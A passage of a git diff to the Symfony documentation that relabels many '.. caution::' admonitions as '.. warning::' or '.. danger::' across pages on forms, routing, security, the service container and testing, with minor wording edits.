class/property/method because ``Closure`` cannot diff --git a/reference/constraints/EqualTo.rst b/reference/constraints/EqualTo.rst index d2f151adea8..d5d78f60a0f 100644 --- a/reference/constraints/EqualTo.rst +++ b/reference/constraints/EqualTo.rst @@ -4,7 +4,7 @@ EqualTo Validates that a value is equal to another value, defined in the options. To force that a value is *not* equal, see :doc:`/reference/constraints/NotEqualTo`. -.. caution:: +.. warning:: This constraint compares using ``==``, so ``3`` and ``"3"`` are considered equal. Use :doc:`/reference/constraints/IdenticalTo` to compare with diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst index 0840a36aede..3930d898c7e 100644 --- a/reference/constraints/File.rst +++ b/reference/constraints/File.rst @@ -246,7 +246,7 @@ Parameter Description **type**: ``array`` or ``string`` -.. caution:: +.. warning:: You should always use the ``extensions`` option instead of ``mimeTypes`` except if you explicitly don't want to check that the extension of the file diff --git a/reference/constraints/IdenticalTo.rst b/reference/constraints/IdenticalTo.rst index 507493b63d4..5b6d853dc0b 100644 --- a/reference/constraints/IdenticalTo.rst +++ b/reference/constraints/IdenticalTo.rst @@ -5,7 +5,7 @@ Validates that a value is identical to another value, defined in the options. To force that a value is *not* identical, see :doc:`/reference/constraints/NotIdenticalTo`. -.. caution:: +.. warning:: This constraint compares using ``===``, so ``3`` and ``"3"`` are *not* considered equal. Use :doc:`/reference/constraints/EqualTo` to compare diff --git a/reference/constraints/NotEqualTo.rst b/reference/constraints/NotEqualTo.rst index 37b03c35907..b8ee4cac32f 100644 --- a/reference/constraints/NotEqualTo.rst +++ b/reference/constraints/NotEqualTo.rst @@ -5,7 +5,7 @@ Validates that a value is **not** equal to another value, defined in the options. To force that a value is equal, see :doc:`/reference/constraints/EqualTo`. -.. caution:: +.. warning:: This constraint compares using ``!=``, so ``3`` and ``"3"`` are considered equal. Use :doc:`/reference/constraints/NotIdenticalTo` to compare with diff --git a/reference/constraints/NotIdenticalTo.rst b/reference/constraints/NotIdenticalTo.rst index ba28fdb7c45..9ea93dc4b86 100644 --- a/reference/constraints/NotIdenticalTo.rst +++ b/reference/constraints/NotIdenticalTo.rst @@ -5,7 +5,7 @@ Validates that a value is **not** identical to another value, defined in the options. To force that a value is identical, see :doc:`/reference/constraints/IdenticalTo`. -.. caution:: +.. warning:: This constraint compares using ``!==``, so ``3`` and ``"3"`` are considered not equal. Use :doc:`/reference/constraints/NotEqualTo` to diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst index 0fab6467669..2c9aeccd755 100644 --- a/reference/constraints/UniqueEntity.rst +++ b/reference/constraints/UniqueEntity.rst @@ -126,14 +126,14 @@ between all of the rows in your user table: } } -.. caution:: +.. warning:: This constraint doesn't provide any protection against `race conditions`_. They may occur when another entity is persisted by an external process after this validation has passed and before this entity is actually persisted in the database. -.. caution:: +.. warning:: This constraint cannot deal with duplicates found in a collection of items that haven't been persisted as entities yet. You'll need to create your own @@ -355,7 +355,7 @@ this option to specify one or more fields to only ignore ``null`` values on them } } -.. caution:: +.. warning:: If you ``ignoreNull`` on fields that are part of a unique index in your database, you might see insertion errors when your application attempts to diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst index 2ea62bc9def..0c5a4fe1e26 100644 --- a/reference/dic_tags.rst +++ b/reference/dic_tags.rst @@ -573,7 +573,7 @@ can also register it manually: that defaults to ``0``. The higher the number, the earlier that warmers are executed. -.. caution:: +.. warning:: If your cache warmer fails its execution because of any exception, Symfony won't try to execute it again for the next requests. Therefore, your diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst index 906e91543f0..d064eedb02a 100644 --- a/reference/formats/expression_language.rst +++ b/reference/formats/expression_language.rst @@ -26,7 +26,7 @@ The component supports: Support for decimals without leading zeros and underscore separators were introduced in Symfony 6.1. -.. caution:: +.. warning:: A backslash (``\``) must be escaped by 3 backslashes (``\\\\``) in a string and 7 backslashes (``\\\\\\\\``) in a regex:: diff --git a/reference/formats/message_format.rst b/reference/formats/message_format.rst index 2a694ed45d2..fb0143228c1 100644 --- a/reference/formats/message_format.rst +++ b/reference/formats/message_format.rst @@ -64,7 +64,7 @@ The basic usage of the MessageFormat allows you to use placeholders (called 'say_hello' => "Hello {name}!", ]; -.. caution:: +.. warning:: In the previous translation format, placeholders were often wrapped in ``%`` (e.g. ``%name%``). This ``%`` character is no longer valid with the ICU diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst index 3637da8bdca..459ee060efe 100644 --- a/reference/forms/types/choice.rst +++ b/reference/forms/types/choice.rst @@ -95,7 +95,7 @@ method:: You can also customize the `choice_name`_ of each choice. You can learn more about all of these options in the sections below. -.. caution:: +.. warning:: The *placeholder* is a specific field, when the choices are optional the first item in the list must be empty, so the user can unselect. diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst index d584e4152b4..229e8ab966f 100644 --- a/reference/forms/types/collection.rst +++ b/reference/forms/types/collection.rst @@ -101,7 +101,7 @@ can be used - with JavaScript - to create new form items dynamically on the client side. For more information, see the above example and :ref:`form-collections-new-prototype`. -.. caution:: +.. warning:: If you're embedding entire other forms to reflect a one-to-many database relationship, you may need to manually ensure that the foreign key of @@ -121,7 +121,7 @@ submitted data will mean that it's removed from the final array. For more information, see :ref:`form-collections-remove`. -.. caution:: +.. warning:: Be careful when using this option when you're embedding a collection of objects. In this case, if any embedded forms are removed, they *will* @@ -141,7 +141,7 @@ form you have to set this option to ``true``. However, existing collection entri will only be deleted if you have the allow_delete_ option enabled. Otherwise the empty values will be kept. -.. caution:: +.. warning:: The ``delete_empty`` option only removes items when the normalized value is ``null``. If the nested `entry_type`_ is a compound form type, you must diff --git a/reference/forms/types/country.rst b/reference/forms/types/country.rst index 8913e639f23..aa3d8323910 100644 --- a/reference/forms/types/country.rst +++ b/reference/forms/types/country.rst @@ -54,7 +54,7 @@ Overridden Options The country type defaults the ``choices`` option to the whole list of countries. The locale is used to translate the countries names. -.. caution:: +.. warning:: If you want to override the built-in choices of the country type, you will also have to set the ``choice_loader`` option to ``null``. diff --git a/reference/forms/types/currency.rst b/reference/forms/types/currency.rst index cca441ff930..9b7affe468c 100644 --- a/reference/forms/types/currency.rst +++ b/reference/forms/types/currency.rst @@ -37,7 +37,7 @@ Overridden Options The choices option defaults to all currencies. -.. caution:: +.. warning:: If you want to override the built-in choices of the currency type, you will also have to set the ``choice_loader`` option to ``null``. diff --git a/reference/forms/types/date.rst b/reference/forms/types/date.rst index 515c12099a1..801bd6323f7 100644 --- a/reference/forms/types/date.rst +++ b/reference/forms/types/date.rst @@ -103,7 +103,7 @@ This can be tricky: if the date picker is misconfigured, Symfony won't understan the format and will throw a validation error. You can also configure the format that Symfony should expect via the `format`_ option. -.. caution:: +.. warning:: The string used by a JavaScript date picker to describe its format (e.g. ``yyyy-mm-dd``) may not match the string that Symfony uses (e.g. ``yyyy-MM-dd``). This is because diff --git a/reference/forms/types/dateinterval.rst b/reference/forms/types/dateinterval.rst index 627fb78d7ed..b317ac522f4 100644 --- a/reference/forms/types/dateinterval.rst +++ b/reference/forms/types/dateinterval.rst @@ -223,7 +223,7 @@ following: Whether or not to include days in the input. This will result in an additional input to capture days. -.. caution:: +.. warning:: This can not be used when `with_weeks`_ is enabled. @@ -276,7 +276,7 @@ input to capture seconds. Whether or not to include weeks in the input. This will result in an additional input to capture weeks. -.. caution:: +.. warning:: This can not be used when `with_days`_ is enabled. diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst index f30d5f9a5b2..0d900de377f 100644 --- a/reference/forms/types/entity.rst +++ b/reference/forms/types/entity.rst @@ -183,7 +183,7 @@ passed the ``EntityRepository`` of the entity as the only argument and should return a ``QueryBuilder``. Returning ``null`` in the Closure will result in loading all entities. -.. caution:: +.. warning:: The entity used in the ``FROM`` clause of the ``query_builder`` option will always be validated against the class which you have specified at the diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst index 4b1bccd077d..d8f5247856b 100644 --- a/reference/forms/types/language.rst +++ b/reference/forms/types/language.rst @@ -71,7 +71,7 @@ Overridden Options The choices option defaults to all languages. The default locale is used to translate the languages names. -.. caution:: +.. warning:: If you want to override the built-in choices of the language type, you will also have to set the ``choice_loader`` option to ``null``. diff --git a/reference/forms/types/locale.rst b/reference/forms/types/locale.rst index 1868f20eda1..15b9af8b7fb 100644 --- a/reference/forms/types/locale.rst +++ b/reference/forms/types/locale.rst @@ -48,7 +48,7 @@ Overridden Options The choices option defaults to all locales. It uses the default locale to specify the language. -.. caution:: +.. warning:: If you want to override the built-in choices of the locale type, you will also have to set the ``choice_loader`` option to ``null``. diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst index 9f98b49158b..1568ec891f9 100644 --- a/reference/forms/types/money.rst +++ b/reference/forms/types/money.rst @@ -72,9 +72,10 @@ html5 If set to ``true``, the HTML input will be rendered as a native HTML5 ``<input type="number">`` element. -.. caution:: +.. warning:: - As HTML5 number format is normalized, it is incompatible with ``grouping`` option. + As HTML5 number format is normalized, it is incompatible with the ``grouping`` + option. scale ~~~~~ diff --git a/reference/forms/types/options/_date_limitation.rst.inc b/reference/forms/types/options/_date_limitation.rst.inc index 4e5b1be4c87..04106ee7e21 100644 --- a/reference/forms/types/options/_date_limitation.rst.inc +++ b/reference/forms/types/options/_date_limitation.rst.inc @@ -1,4 +1,4 @@ -.. caution:: +.. warning:: If ``timestamp`` is used, ``DateType`` is limited to dates between Fri, 13 Dec 1901 20:45:54 UTC and Tue, 19 Jan 2038 03:14:07 UTC on 32bit diff --git a/reference/forms/types/options/choice_name.rst.inc b/reference/forms/types/options/choice_name.rst.inc index 4ec8abb6ffe..4268c307d17 100644 --- a/reference/forms/types/options/choice_name.rst.inc +++ b/reference/forms/types/options/choice_name.rst.inc @@ -25,7 +25,7 @@ By default, the choice key or an incrementing integer may be used (starting at ` See the :ref:`"choice_loader" option documentation <reference-form-choice-loader>`. -.. caution:: +.. warning:: The configured value must be a valid form name. Make sure to only return valid names when using a callable. Valid form names must be composed of diff --git a/reference/forms/types/options/data.rst.inc b/reference/forms/types/options/data.rst.inc index c3562d0a8b1..34f86e7c4c6 100644 --- a/reference/forms/types/options/data.rst.inc +++ b/reference/forms/types/options/data.rst.inc @@ -16,7 +16,7 @@ an individual field, you can set it in the data option:: 'data' => 'abcdef', ]); -.. caution:: +.. warning:: The ``data`` option *always* overrides the value taken from the domain data (object) when rendering. This means the object value is also overridden when diff --git a/reference/forms/types/options/empty_data_description.rst.inc b/reference/forms/types/options/empty_data_description.rst.inc index e654a7037df..b143b9438fe 100644 --- a/reference/forms/types/options/empty_data_description.rst.inc +++ b/reference/forms/types/options/empty_data_description.rst.inc @@ -22,7 +22,7 @@ initial value in the rendered form. :doc:`/form/use_empty_data` article for more details about these options. -.. caution:: +.. warning:: :doc:`Form data transformers </form/data_transformers>` will still be applied to the ``empty_data`` value. This means that an empty string will diff --git a/reference/forms/types/options/inherit_data.rst.inc b/reference/forms/types/options/inherit_data.rst.inc index 1b63cc4b56f..f35f6d56b00 100644 --- a/reference/forms/types/options/inherit_data.rst.inc +++ b/reference/forms/types/options/inherit_data.rst.inc @@ -7,7 +7,7 @@ This option determines if the form will inherit data from its parent form. This can be useful if you have a set of fields that are duplicated across multiple forms. See :doc:`/form/inherit_data_option`. -.. caution:: +.. warning:: When a field has the ``inherit_data`` option set, it uses the data of the parent form as is. This means that diff --git a/reference/forms/types/options/value.rst.inc b/reference/forms/types/options/value.rst.inc index ddbfff6660d..e4669faa7e4 100644 --- a/reference/forms/types/options/value.rst.inc +++ b/reference/forms/types/options/value.rst.inc @@ -6,7 +6,7 @@ The value that's actually used as the value for the checkbox or radio button. This does not affect the value that's set on your object. -.. caution:: +.. warning:: To make a checkbox or radio button checked by default, use the `data`_ option. diff --git a/reference/forms/types/password.rst b/reference/forms/types/password.rst index 162985262e0..bd8ac19a061 100644 --- a/reference/forms/types/password.rst +++ b/reference/forms/types/password.rst @@ -49,7 +49,7 @@ Data passed to the form must be a :class:`Symfony\\Component\\Security\\Core\\User\\PasswordAuthenticatedUserInterface` object. -.. caution:: +.. warning:: To minimize the risk of leaking the plain password, this option can only be used with the :ref:`"mapped" option <reference-form-password-mapped>` diff --git a/reference/forms/types/textarea.rst b/reference/forms/types/textarea.rst index cf56d3067de..47a32368b99 100644 --- a/reference/forms/types/textarea.rst +++ b/reference/forms/types/textarea.rst @@ -19,7 +19,7 @@ Renders a ``textarea`` HTML element. ``<textarea>``, consider using the FOSCKEditorBundle community bundle. Read `its documentation`_ to learn how to integrate it in your Symfony application. -.. caution:: +.. warning:: When allowing users to type HTML code in the textarea (or using a WYSIWYG) editor, the application is vulnerable to :ref:`XSS injection <xss-attacks>`, diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst index 2ce41c6ff74..e4ec432da08 100644 --- a/reference/forms/types/time.rst +++ b/reference/forms/types/time.rst @@ -115,7 +115,7 @@ of the time. This must be a valid `PHP time format`_. .. include:: /reference/forms/types/options/model_timezone.rst.inc -.. caution:: +.. warning:: When using different values for ``model_timezone`` and `view_timezone`_, a `reference_date`_ must be configured. @@ -136,7 +136,7 @@ based on this date. When no `reference_date`_ is set the ``view_timezone`` defaults to the configured `model_timezone`_. -.. caution:: +.. warning:: When using different values for `model_timezone`_ and ``view_timezone``, a `reference_date`_ must be configured. @@ -159,7 +159,7 @@ following: will be validated against the form ``hh:mm`` (or ``hh:mm:ss`` if using seconds). -.. caution:: +.. warning:: Combining the widget type ``single_text`` and the `with_minutes`_ option set to ``false`` can cause unexpected behavior in the client as the diff --git a/reference/forms/types/timezone.rst b/reference/forms/types/timezone.rst index 3750e1b98d8..ceb72eb6979 100644 --- a/reference/forms/types/timezone.rst +++ b/reference/forms/types/timezone.rst @@ -69,7 +69,7 @@ Overridden Options The Timezone type defaults the choices to all timezones returned by :phpmethod:`DateTimeZone::listIdentifiers`, broken down by continent. -.. caution:: +.. warning:: If you want to override the built-in choices of the timezone type, you will also have to set the ``choice_loader`` option to ``null``. diff --git a/routing.rst b/routing.rst index 02e5809cddb..47fcfe8cb8f 100644 --- a/routing.rst +++ b/routing.rst @@ -85,7 +85,7 @@ the ``list()`` method of the ``BlogController`` class. example, URLs like ``/blog?foo=bar`` and ``/blog?foo=bar&bar=foo`` will also match the ``blog_list`` route. -.. caution:: +.. warning:: If you define multiple PHP classes in the same file, Symfony only loads the routes of the first class, ignoring all the other routes. @@ -419,7 +419,7 @@ Behind the scenes, expressions are compiled down to raw PHP. Because of this, using the ``condition`` key causes no extra overhead beyond the time it takes for the underlying PHP to execute. -.. caution:: +.. warning:: Conditions are *not* taken into account when generating URLs (which is explained later in this article). @@ -874,7 +874,7 @@ other configuration formats they are defined with the ``defaults`` option: Now, when the user visits ``/blog``, the ``blog_list`` route will match and ``$page`` will default to a value of ``1``. -.. caution:: +.. warning:: You can have more than one optional parameter (e.g. ``/blog/{slug}/{page}``), but everything after an optional parameter must be optional. For example, @@ -1565,7 +1565,7 @@ when importing the routes. ; }; -.. caution:: +.. warning:: The ``exclude`` option only works when the ``resource`` value is a glob string. If you use a regular string (e.g. ``'../src/Controller'``) the ``exclude`` @@ -2385,7 +2385,7 @@ use the ``generateUrl()`` helper:: // the 'blog' route only defines the 'page' parameter; the generated URL is: // /blog/2?category=Symfony -.. caution:: +.. warning:: While objects are converted to string when used as placeholders, they are not converted when used as extra parameters. So, if you're passing an object (e.g. an Uuid) diff --git a/security.rst b/security.rst index 8661263b90d..42489f6e3fe 100644 --- a/security.rst +++ b/security.rst @@ -902,7 +902,7 @@ Finally, create or update the template: </form> {% endblock %} -.. caution:: +.. warning:: The ``error`` variable passed into the template is an instance of :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`. @@ -2298,7 +2298,7 @@ Users with ``ROLE_SUPER_ADMIN``, will automatically have ``ROLE_ADMIN``, ``ROLE_ALLOWED_TO_SWITCH`` and ``ROLE_USER`` (inherited from ``ROLE_ADMIN``). -.. caution:: +.. warning:: For role hierarchy to work, do not use ``$user->getRoles()`` manually. For example, in a controller extending from the :ref:`base controller <the-base-controller-class-services>`:: diff --git a/security/access_control.rst b/security/access_control.rst index e27edde8e74..d658b6b7c26 100644 --- a/security/access_control.rst +++ b/security/access_control.rst @@ -221,7 +221,7 @@ Example #7: * **Why?** This doesn't match any ``access_control`` rules, since its URI * doesn't match any of the ``path`` values. -.. caution:: +.. warning:: Matching the URI is done without ``$_GET`` parameters. :ref:`Deny access in PHP code <security-securing-controller>` if you want @@ -254,7 +254,7 @@ options: can learn how to use your custom attributes by reading :ref:`security/custom-voter`. -.. caution:: +.. warning:: If you define both ``roles`` and ``allow_if``, and your Access Decision Strategy is the default one (``affirmative``), then the user will be granted @@ -276,7 +276,7 @@ entry that *only* matches requests coming from some IP address or range. For example, this *could* be used to deny access to a URL pattern to all requests *except* those from a trusted, internal server. -.. caution:: +.. warning:: As you'll read in the explanation below the example, the ``ips`` option does not restrict to a specific IP address. Instead, using the ``ips`` diff --git a/security/access_token.rst b/security/access_token.rst index 18f28e9f9f5..608a8395844 100644 --- a/security/access_token.rst +++ b/security/access_token.rst @@ -107,7 +107,7 @@ This handler must implement The access token authenticator will use the returned user identifier to load the user using the :ref:`user provider <security-user-providers>`. -.. caution:: +.. warning:: It is important to check the token if is valid. For instance, the example above verifies whether the token has not expired. With @@ -136,7 +136,7 @@ Symfony provides other extractors as per the `RFC6750`_: The token is part of the request body during a POST request. Usually ``access_token``. -.. caution:: +.. warning:: Because of the security weaknesses associated with the URI method, including the high likelihood that the URL or the request body diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst index 79b756b4880..a641d62612e 100644 --- a/security/impersonating_user.rst +++ b/security/impersonating_user.rst @@ -5,7 +5,7 @@ Sometimes, it's useful to be able to switch from one user to another without having to log out and log in again (for instance when you are debugging something a user sees that you can't reproduce). -.. caution:: +.. warning:: User impersonation is not compatible with some authentication mechanisms (e.g. ``REMOTE_USER``) where the authentication information is expected to be diff --git a/security/ldap.rst b/security/ldap.rst index b8db2d03a4f..4345f55e6d9 100644 --- a/security/ldap.rst +++ b/security/ldap.rst @@ -197,14 +197,14 @@ use the ``ldap`` user provider. ; }; -.. caution:: +.. danger:: The Security component escapes provided input data when the LDAP user provider is used. However, the LDAP component itself does not provide any escaping yet. Thus, it's your responsibility to prevent LDAP injection attacks when using the component directly. -.. caution:: +.. warning:: The user configured above in the user provider is only used to retrieve data. It's a static user defined by its username and password (for improved diff --git a/security/login_link.rst b/security/login_link.rst index 4bfe16ef2e9..4ee1773d4e0 100644 --- a/security/login_link.rst +++ b/security/login_link.rst @@ -194,7 +194,7 @@ controller. Based on this property, the correct user is loaded and a login link is created using :method:`Symfony\\Component\\Security\\Http\\LoginLink\\LoginLinkHandlerInterface::createLoginLink`. -.. caution:: +.. warning:: It is important to send this link to the user and **not show it directly**, as that would allow anyone to login. For instance, use the diff --git a/security/passwords.rst b/security/passwords.rst index 09e01507dec..fe20187b3a0 100644 --- a/security/passwords.rst +++ b/security/passwords.rst @@ -644,7 +644,7 @@ the name of the hasher to use:: } } -.. caution:: +.. warning:: When :ref:`migrating passwords <security-password-migration>`, you don't need to implement ``PasswordHasherAwareInterface`` to return the legacy diff --git a/security/user_providers.rst b/security/user_providers.rst index 17a18468168..09d47c270f2 100644 --- a/security/user_providers.rst +++ b/security/user_providers.rst @@ -257,7 +257,7 @@ After setting up hashing, you can configure all the user information in ; }; -.. caution:: +.. warning:: When using a ``memory`` provider, and not the ``auto`` algorithm, you have to choose an encoding without salt (i.e. ``bcrypt``). diff --git a/security/voters.rst b/security/voters.rst index 5423133dcd0..21e2c8de33b 100644 --- a/security/voters.rst +++ b/security/voters.rst @@ -273,7 +273,7 @@ with ``ROLE_SUPER_ADMIN``:: } } -.. caution:: +.. warning:: In the previous example, avoid using the following code to check if a role is granted permission:: diff --git a/serializer.rst b/serializer.rst index 6cb0a564f3a..908f2e3ba2c 100644 --- a/serializer.rst +++ b/serializer.rst @@ -1073,7 +1073,7 @@ using :doc:`valid PropertyAccess syntax </components/property_access>`: </class> </serializer> -.. caution:: +.. warning:: The ``SerializedPath`` cannot be used in combination with a ``SerializedName`` for the same property. diff --git a/service_container.rst b/service_container.rst index 1f3a248dbe5..c1f5dc7b5f4 100644 --- a/service_container.rst +++ b/service_container.rst @@ -582,7 +582,7 @@ accessor methods for parameters:: // adds a new parameter $container->setParameter('mailer.transport', 'sendmail'); -.. caution:: +.. warning:: The used ``.`` notation is a :ref:`Symfony convention <service-naming-conventions>` to make parameters @@ -1392,7 +1392,7 @@ and ``site_update_manager.normal_users``. Thanks to the alias, if you type-hint If you want to pass the second, you'll need to :ref:`manually wire the service <services-wire-specific-service>` or to create a named :ref:`autowiring alias <autowiring-alias>`. -.. caution:: +.. warning:: If you do *not* create the alias and are :ref:`loading all services from src/ <service-container-services-load-example>`, then *three* services have been created (the automatic service + your two services) diff --git a/service_container/definitions.rst b/service_container/definitions.rst index e54a99237d9..a2a50591668 100644 --- a/service_container/definitions.rst +++ b/service_container/definitions.rst @@ -86,7 +86,7 @@ fetched from the container:: // gets a specific argument $firstArgument = $definition->getArgument(0); - + // adds a new named argument // '$argumentName' = the name of the argument in the constructor, including the '$' symbol $definition = $definition->setArgument('$argumentName', $argumentValue); @@ -100,7 +100,7 @@ fetched from the container:: // replaces all previously configured arguments with the passed array $definition->setArguments($arguments); -.. caution:: +.. warning:: Don't use ``get()`` to get a service that you want to inject as constructor argument, the service is not yet available. Instead, use a diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst index 827d36a0662..9af730867de 100644 --- a/service_container/lazy_services.rst +++ b/service_container/lazy_services.rst @@ -21,7 +21,7 @@ Configuring lazy services is one answer to this. With a lazy service, a like the ``mailer``, except that the ``mailer`` isn't actually instantiated until you interact with the proxy in some way. -.. caution:: +.. warning:: Lazy services do not support `final`_ or ``readonly`` classes, but you can use `Interface Proxifying`_ to work around this limitation. diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst index 18bc5d4d85f..7bf1fb9165d 100644 --- a/service_container/service_decoration.rst +++ b/service_container/service_decoration.rst @@ -683,7 +683,7 @@ Three different behaviors are available: ; }; -.. caution:: +.. warning:: When using ``null``, you may have to update the decorator constructor in order to make decorated dependency nullable:: diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst index da5cb415800..fe0a51b4c81 100644 --- a/service_container/service_subscribers_locators.rst +++ b/service_container/service_subscribers_locators.rst @@ -947,7 +947,7 @@ and compose your services with them:: } } -.. caution:: +.. warning:: When creating these helper traits, the service id cannot be ``__METHOD__`` as this will include the trait name, not the class name. Instead, use diff --git a/service_container/tags.rst b/service_container/tags.rst index ceb5887328c..f905ed1895e 100644 --- a/service_container/tags.rst +++ b/service_container/tags.rst @@ -112,7 +112,7 @@ If you want to apply tags automatically for your own services, use the ->tag('app.custom_tag'); }; -.. caution:: +.. warning:: If you're using PHP configuration, you need to call ``instanceof`` before any service registration to make sure tags are correctly applied. diff --git a/session.rst b/session.rst index e3aabbf201b..9ddf3eb028d 100644 --- a/session.rst +++ b/session.rst @@ -419,7 +419,7 @@ session metadata files: Check out the Symfony config reference to learn more about the other available :ref:`Session configuration options <config-framework-session>`. -.. caution:: +.. warning:: Symfony sessions are incompatible with ``php.ini`` directive ``session.auto_start = 1`` This directive should be turned off in @@ -1531,7 +1531,7 @@ event:: } } -.. caution:: +.. warning:: In order to update the language immediately after a user has changed their language preferences, you also need to update the session when you change diff --git a/setup/_update_all_packages.rst.inc b/setup/_update_all_packages.rst.inc index a6a6c70e570..7b858c51351 100644 --- a/setup/_update_all_packages.rst.inc +++ b/setup/_update_all_packages.rst.inc @@ -9,7 +9,7 @@ this safely by running: $ composer update -.. caution:: +.. warning:: Beware, if you have some unspecific `version constraints`_ in your ``composer.json`` (e.g. ``dev-master``), this could upgrade some diff --git a/setup/file_permissions.rst b/setup/file_permissions.rst index 7bf2d0bf035..45195f21e31 100644 --- a/setup/file_permissions.rst +++ b/setup/file_permissions.rst @@ -67,12 +67,12 @@ Edit your web server configuration (commonly ``httpd.conf`` or ``apache2.conf`` for Apache) and set its user to be the same as your CLI user (e.g. for Apache, update the ``User`` and ``Group`` directives). -.. caution:: +.. danger:: If this solution is used in a production server, be sure this user only has limited privileges (no access to private data or servers, execution of - unsafe binaries, etc.) as a compromised server would give to the hacker - those privileges. + unsafe binaries, etc.) as a compromised server would give those privileges + to the hacker. 3. Without Using ACL ~~~~~~~~~~~~~~~~~~~~ @@ -89,7 +89,7 @@ and ``public/index.php`` files:: umask(0000); // This will let the permissions be 0777 -.. caution:: +.. warning:: Changing the ``umask`` is not thread-safe, so the ACL methods are recommended when they are available. diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst index f8b7c6e35c4..2ea4da543fe 100644 --- a/setup/symfony_server.rst +++ b/setup/symfony_server.rst @@ -294,7 +294,7 @@ domains work: # Example with Cypress $ https_proxy=$(symfony proxy:url) ./node_modules/bin/cypress open -.. caution:: +.. warning:: Although env var names are always defined in uppercase, the ``https_proxy`` env var `is treated differently`_ than other env vars and its name must be @@ -357,7 +357,7 @@ There are several options that you can set using a ``.symfony.local.yaml`` confi use_gzip: true # Toggle GZIP compression no_workers: true # Do not start workers -.. caution:: +.. warning:: Setting domains in this configuration file will override any domains you set using the ``proxy:domain:attach`` command for the current project when you start @@ -524,7 +524,7 @@ its location, same as for ``docker-compose``: If you have more than one Docker Compose file, you can provide them all separated by ``:`` as explained in the `Docker compose CLI env var reference`_. -.. caution:: +.. warning:: When using the Symfony binary with ``php bin/console`` (``symfony console ...``), the binary will **always** use environment variables detected via Docker and will @@ -534,7 +534,7 @@ its location, same as for ``docker-compose``: ``symfony console doctrine:database:drop --force --env=test``, the command will drop the database defined in your Docker configuration and not the "test" one. -.. caution:: +.. warning:: Similar to other web servers, this tool automatically exposes all environment variables available in the CLI context. Ensure that this local server is not diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst index f7d2b697550..8c172c49b29 100644 --- a/setup/upgrade_major.rst +++ b/setup/upgrade_major.rst @@ -98,7 +98,7 @@ Now, you can start fixing the notices: Once you fixed them all, the command ends with ``0`` (success) and you're done! -.. caution:: +.. warning:: You will probably see many deprecations about incompatible native return types. See :ref:`Add Native Return Types <upgrading-native-return-types>` diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst index f8f4bd76606..acd76c342b9 100644 --- a/setup/web_server_configuration.rst +++ b/setup/web_server_configuration.rst @@ -129,7 +129,7 @@ The **minimum configuration** to get your application running under Nginx is: If you have other PHP files in your public directory that need to be executed, be sure to include them in the ``location`` block above. -.. caution:: +.. warning:: After you deploy to production, make sure that you **cannot** access the ``index.php`` script (i.e. ``http://example.com/index.php``). diff --git a/templates.rst b/templates.rst index a477c251371..77e10bc5596 100644 --- a/templates.rst +++ b/templates.rst @@ -1091,7 +1091,7 @@ template fragments. Configure that special URL in the ``fragments`` option: $framework->fragments()->path('/_fragment'); }; -.. caution:: +.. warning:: Embedding controllers requires making requests to those controllers and rendering some templates as result. This can have a significant impact on @@ -1297,7 +1297,7 @@ different templates to create the final contents. This inheritance mechanism boosts your productivity because each template includes only its unique contents and leaves the repeated contents and HTML structure to some parent templates. -.. caution:: +.. warning:: When using ``extends``, a child template is forbidden to define template parts outside of a block. The following code throws a ``SyntaxError``: diff --git a/testing.rst b/testing.rst index f989b7e9961..4e719bc23d5 100644 --- a/testing.rst +++ b/testing.rst @@ -235,7 +235,7 @@ in them, files lower in the list override previous items): #. ``.env.test``: overriding/setting specific test values or vars; #. ``.env.test.local``: overriding settings specific for this machine. -.. caution:: +.. warning:: The ``.env.local`` file is **not** used in the test environment, to make each test set-up as consistent as possible. @@ -761,7 +761,7 @@ You can also override HTTP headers on a per request basis:: 'HTTP_USER_AGENT' => 'MySuperBrowser/1.0', ]); -.. caution:: +.. warning:: The name of your custom headers must follow the syntax defined in the `section 4.1.18 of RFC 3875`_: replace ``-`` by ``_``, transform it into diff --git a/testing/end_to_end.rst b/testing/end_to_end.rst index e43f5fa2be2..d59f243f998 100644 --- a/testing/end_to_end.rst +++ b/testing/end_to_end.rst @@ -457,7 +457,7 @@ Accepting Self-Signed SSL Certificates To force Chrome to accept invalid and self-signed certificates, you can set the following environment variable: ``PANTHER_CHROME_ARGUMENTS='--ignore-certificate-errors'``. -.. caution:: +.. danger:: This option is insecure, use it only for testing in development environments, never in production (e.g. for web crawlers). diff --git a/testing/http_authentication.rst b/testing/http_authentication.rst index 46ddb82b87d..8262bf3769d 100644 --- a/testing/http_authentication.rst +++ b/testing/http_authentication.rst @@ -1,7 +1,7 @@ How to Simulate HTTP Authentication in a Functional Test ======================================================== -.. caution:: +.. warning:: Starting from Symfony 5.1, a ``loginUser()`` method was introduced to ease testing secured applications. See :ref:`testing_logging_in_users` diff --git a/testing/insulating_clients.rst b/testing/insulating_clients.rst index 5a76d517ced..ea9cba3c046 100644 --- a/testing/insulating_clients.rst +++ b/testing/insulating_clients.rst @@ -43,7 +43,7 @@ clean PHP process, thus avoiding any side effects. As an insulated client is slower, you can keep one client in the main process, and insulate the other ones. -.. caution:: +.. warning:: Insulating tests requires some serializing and unserializing operations. If your test includes data that can't be serialized, such as file streams when diff --git a/translation.rst b/translation.rst index b6138c02847..ed44b6d4912 100644 --- a/translation.rst +++ b/translation.rst @@ -392,7 +392,7 @@ translation of *static blocks of text*: {% trans %}Hello %name%{% endtrans %} -.. caution:: +.. warning:: The ``%var%`` notation of placeholders is required when translating in Twig templates using the tag. @@ -410,7 +410,7 @@ You can also specify the message domain and pass some additional variables: {% trans with {'%name%': 'Fabien'} from 'app' into 'fr' %}Hello %name%{% endtrans %} -.. caution:: +.. warning:: Using the translation tag has the same effect as the filter, but with one major difference: automatic 